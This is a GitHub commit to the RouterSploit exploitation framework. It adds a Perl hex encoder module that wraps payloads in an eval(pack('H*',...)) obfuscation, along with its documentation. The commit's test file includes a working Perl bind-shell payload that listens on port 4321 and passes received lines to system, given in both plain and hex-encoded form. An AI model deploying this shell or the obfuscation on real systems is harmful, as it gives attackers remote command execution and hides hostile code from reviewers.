Skip to content

Commit 67fa6ad

Browse files
authored
Adding Perl Hex Encoder (#484)
* Bump v3.2.0 * Adding Perl Hex Encoder
1 parent b06af13 commit 67fa6ad

File tree

3 files changed

+66
-0
lines changed

3 files changed

+66
-0
lines changed

docs/modules/encoders/perl/hex.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
## Description
2+
3+
Module encodes Perl payload to hex format.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use encoders/perl/hex`
9+
3. Do: `show info`
10+
11+
## Scenarios
12+
13+
```
14+
rsf > use encoders/perl/hex
15+
rsf (Perl Hex Encoder) > show info
16+
17+
Name:
18+
Perl Hex Encoder
19+
20+
Description:
21+
Module encodes PERL payload to Hex format.
22+
23+
Authors:
24+
- Marcin Bury <marcin[at]threat9.com>
25+
```
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
from routersploit.core.exploit.encoders import BaseEncoder
2+
from routersploit.core.exploit.payloads import Architectures
3+
4+
5+
class Encoder(BaseEncoder):
6+
__info__ = {
7+
"name": "Perl Hex Encoder",
8+
"description": "Module encodes PERL payload to Hex format.",
9+
"authors": (
10+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
11+
),
12+
}
13+
14+
architecture = Architectures.PERL
15+
16+
def encode(self, payload):
17+
encoded_payload = bytes(payload, "utf-8").hex()
18+
return "eval(pack('H*','{}'));".format(encoded_payload)

tests/encoders/perl/test_hex.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
from routersploit.modules.encoders.perl.hex import Encoder
2+
3+
4+
# perl bind tcp payload with rport=4321
5+
bind_tcp = (
6+
"use IO;foreach my $key(keys %ENV){" +
7+
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
8+
"4321" +
9+
",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
10+
"if($_=~ /(.*)/){system $1;}};"
11+
)
12+
13+
# perl bind tcp payload with rport=4321 encoded with perl/hex
14+
bind_tcp_encoded = (
15+
"eval(pack('H*','75736520494f3b666f7265616368206d7920246b6579286b6579732025454e56297b69662824454e567b246b65797d3d7e2f282e2a292f297b24454e567b246b65797d3d24313b7d7d24633d6e657720494f3a3a536f636b65743a3a494e4554284c6f63616c506f72742c343332312c52657573652c312c4c697374656e292d3e6163636570743b247e2d3e66646f70656e2824632c77293b535444494e2d3e66646f70656e2824632c72293b7768696c65283c3e297b696628245f3d7e202f282e2a292f297b73797374656d2024313b7d7d3b'));"
16+
)
17+
18+
19+
def test_payload_encoding():
20+
""" Test scenario - payload encoding """
21+
22+
encoder = Encoder()
23+
assert encoder.encode(bind_tcp) == bind_tcp_encoded

0 commit comments

Comments
 (0)